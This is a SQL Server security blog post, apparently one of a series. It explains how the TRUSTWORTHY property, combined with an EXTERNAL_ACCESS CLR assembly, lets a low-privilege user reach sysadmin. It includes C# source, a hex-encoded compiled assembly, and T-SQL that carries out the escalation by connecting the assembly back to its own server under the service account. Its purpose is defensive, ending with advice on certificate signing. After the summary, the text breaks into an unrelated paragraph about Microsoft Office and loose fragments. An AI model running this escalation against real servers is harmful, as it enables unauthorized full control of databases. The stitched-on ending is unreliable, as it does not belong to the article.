Introduction
My last two posts about the TRUSTWORTHY database property (Part 1 and Part 2) explained how TRUSTWORTHY changes the effective permissions and how a malicious user could use it to gain SA permission on your server. Today I am going to look at another feature that "requires" a database to be TRUSTWORTHY: CLR Assemblies with PERMISSION_SET = EXTERNAL_ACCESS. External access is for example needed if you want to write an assembly that offers functionality requiring direct file or network access.
Example
Let's dive into an example right away: This little bit of C# code creates an assembly providing a method ExecuteNonQuery that allows you to directly connect to another SQL Server and execute a command. It requires a connection string and the command as parameters.
using System.Data.SqlClient;
namespace OutsideConnection
{
public class OutsideConnection
{
public static void ExecuteNonQuery(string connectionString, string command)
{
SqlConnection conn = null;
try
{
conn = new SqlConnection(connectionString);
conn.Open();
(new SqlCommand {Connection = conn, CommandText = command}).ExecuteNonQuery();
}
finally
{
if (conn != null)
conn.Close();
}
}
}
}
The following code creates a database ExternalCLRDb and then installs the above assembly into it. It also creates the stored procedure OutsideConnection and links it to the ExecuteNoneQuery method of the assembly.
USE [tempdb]
GO
IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase;
GO
CREATE PROCEDURE #ForceDropDatabase
@db_name NVARCHAR(MAX)
AS
BEGIN
IF(DB_ID(@db_name)IS NOT NULL)
BEGIN
EXEC('
USE master;
ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE;
USE '+@db_name+';
ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE;
USE master;
DROP DATABASE '+@db_name+';
');
END;
END
GO
EXEC #ForceDropDatabase 'ExternalCLRDb';
GO
IF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'ExternalCLRLogin') DROP LOGIN ExternalCLRLogin;
CREATE LOGIN ExternalCLRLogin WITH PASSWORD = '********';
GO
CREATE DATABASE ExternalCLRDb WITH TRUSTWORTHY ON;
GO
ALTER AUTHORIZATION ON DATABASE::ExternalCLRDb TO ExternalCLRLogin;
GO
USE ExternalCLRDb;
GO
CREATE ASSEMBLY [OutsideConnection]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C01030085F1C5510000000000000000E00002210B010800000A000000060000000000009E280000002000000040000000004000002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000502800004B000000004000004803000000000000000000000000000000000000006000000C000000B42700001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000A408000000200000000A000000020000000000000000000000000000200000602E72737263000000480300000040000000040000000C0000000000000000000000000000400000402E72656C6F6300000C000000006000000002000000100000000000000000000000000000400000420000000000000000000000000000000080280000000000004800000002000500AC2000000807000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B3002003700000001000011140A02731100000A0A066F1200000A731300000A0B07066F1400000A07036F1500000A076F1600000A26DE0A062C06066F1700000ADC2A0001100000020002002A2C000A000000001E02281800000A2A42534A4201000100000000000C00000076342E302E33303331390000000005006C00000038020000237E0000A40200002C03000023537472696E677300000000D00500000800000023555300D8050000100000002347554944000000E80500002001000023426C6F620000000000000002000001471502000900000000FA2533001600000100000016000000020000000200000002000000180000000E00000001000000010000000200000000000A00010000000000060042003B0006008A0078000600A10078000600BE0078000600DD0078000600F600780006000F01780006002A01780006004501780006007D015E01060091015E0106009F0178000600B80178000600EF01D50106001B0208023F002F02000006005E023E0206007E023E020A00BE02A8020A00DF02CC020A00F102A8020A000B03CC0200000000010000000000010001000100100020002000050001000100502000000000960049000A000100A420000000008618590010000300000001005F00000002007000110059001400190059001400210059001400290059001400310059001400390059001400410059001400490059001400510059001900590059001400610059001400690059001400710059001400790059001E00890059002400910059001000990059001400A100EC021000A90059001000A900FC022900B10015031400B10049002F00A100250310000900590010002E000B003A002E00130051002E001B0051002E00230051002E002B003A002E00330057002E003B0051002E004B0051002E0053006F002E00630099002E006B00A6002E007300EE002E007B00F7002E0083000001330004800000010000000000000000000000000020000000040000000000000000000000010032000000000004000000000000000000000001009C02000000000000003C4D6F64756C653E004F757473696465436F6E6E656374696F6E2E646C6C004F757473696465436F6E6E656374696F6E006D73636F726C69620053797374656D004F626A65637400457865637574654E6F6E5175657279002E63746F7200636F6E6E656374696F6E537472696E6700636F6D6D616E640053797374656D2E5265666C656374696F6E00417373656D626C795469746C6541747472696275746500417373656D626C794465736372697074696F6E41747472696275746500417373656D626C79436F6E66696775726174696F6E41747472696275746500417373656D626C79436F6D70616E7941747472696275746500417373656D626C7950726F6475637441747472696275746500417373656D626C79436F7079726967687441747472696275746500417373656D626C7954726164656D61726B41747472696275746500417373656D626C7943756C747572654174747269627574650053797374656D2E52756E74696D652E496E7465726F70536572766963657300436F6D56697369626C65417474726962757465004775696441747472696275746500417373656D626C7956657273696F6E41747472696275746500417373656D626C7946696C6556657273696F6E4174747269627574650053797374656D2E52756E74696D652E56657273696F6E696E67005461726765744672616D65776F726B4174747269627574650053797374656D2E446961676E6F73746963730044656275676761626C6541747472696275746500446562756767696E674D6F6465730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C6974794174747269627574650053797374656D2E446174610053797374656D2E446174612E53716C436C69656E740053716C436F6E6E656374696F6E0053797374656D2E446174612E436F6D6D6F6E004462436F6E6E656374696F6E004F70656E0053716C436F6D6D616E64007365745F436F6E6E656374696F6E004462436F6D6D616E64007365745F436F6D6D616E645465787400436C6F736500000003200000000000ED2E3F488BD67C49974C556E7224EE670008B77A5C561934E089050002010E0E03200001042001010E0420010102052001011141042001010805200101124D03200008060702124D1255160100114F757473696465436F6E6E656374696F6E000005010000000017010012436F7079726967687420C2A920203230313300002901002464333139343637622D653032342D343335662D386661342D31386663666462363032323400000C010007312E302E302E3000004701001A2E4E45544672616D65776F726B2C56657273696F6E3D76342E300100540E144672616D65776F726B446973706C61794E616D65102E4E4554204672616D65776F726B20340801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000000085F1C55100000000020000007D000000D0270000D0090000525344533A1547F7E3FF744BA066AC25B99F142302000000433A5C446174615C73766E5C53514C5C5F426C6F675F41626F75745F5C5472757374776F727468795C53514C5F434C525C4F757473696465436F6E6E656374696F6E5C6F626A5C52656C656173655C4F757473696465436F6E6E656374696F6E2E706462000000007828000000000000000000008E280000002000000000000000000000000000000000000000000000802800000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058400000F00200000000000000000000F00234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000001000000000000000100000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B00450020000010053007400720069006E006700460069006C00650049006E0066006F0000002C02000001003000300030003000300034006200300000004C0012000100460069006C0065004400650073006300720069007000740069006F006E00000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000300008000100460069006C006500560065007200730069006F006E000000000031002E0030002E0030002E00300000004C001600010049006E007400650072006E0061006C004E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C0000004800120001004C006500670061006C0043006F007000790072006900670068007400000043006F0070007900720069006700680074002000A90020002000320030003100330000005400160001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004F0075007400730069006400650043006F006E006E0065006300740069006F006E002E0064006C006C000000440012000100500072006F0064007500630074004E0061006D006500000000004F0075007400730069006400650043006F006E006E0065006300740069006F006E000000340008000100500072006F006400750063007400560065007200730069006F006E00000031002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000031002E0030002E0030002E003000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000A03800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
WITH PERMISSION_SET = SAFE
GO
CREATE PROCEDURE dbo.OutsideConnection
@ConnectionString NVARCHAR(MAX),
@Command NVARCHAR(MAX)
AS EXTERNAL NAME OutsideConnection.[OutsideConnection.OutsideConnection].ExecuteNonQuery;
GO
CREATE SCHEMA hlp;
GO
CREATE FUNCTION hlp.CurrentTokens()
RETURNS TABLE
AS
RETURN
SELECT 'CurrentTokens' info,'|'[|],USER_NAME() [user],SUSER_NAME() [login],'|'[l], *
FROM(
SELECT 'user' token_source,name, type, usage FROM sys.user_token
UNION ALL
SELECT 'login' token_source,name, type, usage FROM sys.login_token
)X;
GO
IF USER_ID('FewPermissionsUser') IS NOT NULL DROP USER FewPermissionsUser;
IF EXISTS(SELECT 1 FROM sys.server_principals WHERE name = 'FewPermissionsLogin') DROP LOGIN FewPermissionsLogin;
CREATE LOGIN FewPermissionsLogin WITH PASSWORD = '********';
CREATE USER FewPermissionsUser FOR LOGIN FewPermissionsLogin;
GRANT EXECUTE,SELECT ON SCHEMA::hlp TO FewPermissionsUser;
GRANT EXECUTE ON dbo.OutsideConnection TO FewPermissionsUser;
Note that while the database is created as TRUSTWORTHY, the code follows the advice given in the previous article and sets the database owner to a login without any special permissions. Also, the assembly is created with PERMISSION_SET = SAFE .
After the assembly is installed, the code creates the hlp.CurrentTokes function that we have used before. It also creates a login and an associated user with just a few permissions.
Permission Set Safe
Now that the assembly is installed, let's run a quick test:
USE ExternalCLRDb;
GO
EXECUTE AS USER='FewPermissionsUser';
GO
SELECT * FROM hlp.CurrentTokens();
GO
IF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;
EXEC dbo.OutsideConnection 'Context Connection=true;','SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'
SELECT * FROM ##CurrentTokens;
GO
REVERT
This T-SQL Script switches the database context to the new database and the security context to the new user FewPermissionsUser. Then it uses the CurrentTokens function to show the security tokens currently in effect. Afterwards it calls the OutsideConnection procedure passing in Context Connection=true; as the connection string. This causes the ExecuteNonQuery method to use the current connection (the connection it is executed in) when running the passed in command. The ExecuteNonQuery method cannot return a result set back to us. Instead the code is storing the result of the query in a global temp table and selects it back out from there after the OutsideConnection call finishes. The output clearly shows that the tokens in effect are indeed the same:
So far nothing conspicuous has happened. Now let's try to connect to another server by specifying a real connection string:
This fails right away, because of some problem with System.Data.SqlClient.SqlClientPermission. This is caused by the assembly having been created with PERMISSION_SET = SAFE. In this mode access to outside resources is prohibited. To fix that we can just switch the assembly to PERMISSION_SET = EXTERNAL_ACCESS:
ALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;
However, that attempt fails too:
As the error message tells us, the reason is that you need one of two things to create an assembly with PERMISSION_SET = EXTERNAL_ACCESS. You either need to sign the assembly with a certificate, create a login from that same certificate and grant that login the EXTERNAL ACCESS ASSEMBLY permission. This is a process that seems too complex for many; they just use the alternative and set the database to TRUSTWORTHY. With that you can just grant the database owner the EXTERNAL ACCESS ASSEMBLY permission and don't have to worry about complex certificates.
In our case the database is TRUSTWORTHY already, so we just need to grant the inconspicuous EXTERNAL ACCESS ASSEMBLY to ExternalCLRLogin which is the login that owns our database:
EXEC master.sys.sp_executesql N'GRANT EXTERNAL ACCESS ASSEMBLY TO ExternalCLRLogin;'; ALTER ASSEMBLY OutsideConnection WITH PERMISSION_SET = EXTERNAL_ACCESS;
The sp_executesql procedure is used as granting server level permissions requires the database context to be master. These two statements should run without problems.
Hacking Away
Now nothing is holding us back connecting to our external server. But we are not going to. Instead we are going to try to connect back to the server we are on:
EXECUTE AS USER='FewPermissionsUser';
GO
IF OBJECT_ID('tempdb..##CurrentTokens') IS NOT NULL DROP TABLE ##CurrentTokens;
DECLARE @ConnectionString NVARCHAR(MAX) = N'Data Source='+ CAST(SERVERPROPERTY('ServerName') AS NVARCHAR(MAX))+N';Initial Catalog=ExternalCLRDb;Integrated Security=SSPI;';
EXEC dbo.OutsideConnection @ConnectionString,'SELECT * INTO ##CurrentTokens FROM hlp.CurrentTokens();'
SELECT * FROM ##CurrentTokens;
GO
REVERT
The connection string is build using the current server name (which includes the instance name, if any) and hardcodes the ExternalCLRDb database name. The connection string also sets integrated security to true.
Let me clarify this all a little: When this code executes, SQL Server is going to connect back to itself using integrated security.
You are probably sensing already where this is going, so let's confirm:
CLR code is executed by the SQL Server service. That means the windows account executing that service is what is used when connecting to an external SQL Server using integrated security. When that server is the same server that is running the assembly this means that the code instantly acquires sysadmin level privileges, as the SQL Server Service account always is a sysadmin inside its own SQL Server Instance.
Summary
The TRUSTWORTHY database property is a quick way to get past many security related road blocks. However, as this article series has shown, turning that setting on allows anyone that is a member of the db_owner role in that database to elevate their account to a sysadmin. While all these exploits require the one or the other additional setting or permission to be in place, it is not uncommon to find a server having been setup just right for at least one of them
What is particularly bad about the use of the TRUSTWORTHY database setting to give a particular assembly external access is that it opens up other assemblies to be installed later on in that database with the same permission set. While the first one might have been a perfectly valid use of an assembly from a trusted source, now a malicious user can install their own assembly to gain full server access. All that is required for this is the permissions to create an assembly in that particular database.
As I pointed out before, all these "security related road blocks" can be dealt with using certificates. In the case of an assembly you could grant a particular assembly that you trust the necessary permission without affecting other assemblies or any other security settings. You just need to sign that assembly with a certificate. That is easy to set up in Visual Studio. Then you need to import that certificate into SQL Server, create a login from it and grant that login the EXTERNAL ACCESS ASSEMBLY permission. The exact details of how to do this will be the topic of a later post.
Microsoft has been enjoying some success recently, as Windows 8 finally starts to grab more market share, but it may surprise some people to learn that a huge portion of the company's revenues come from the Microsoft Office suite of applications, which many offices standardize on for compatibility reasons. As good as the free, open productivity suites have become, they still tend not to be totally compatible with applications like Word and Excel.
What strange synergies there are between the diminutive, Linux-based 
By 
Back in April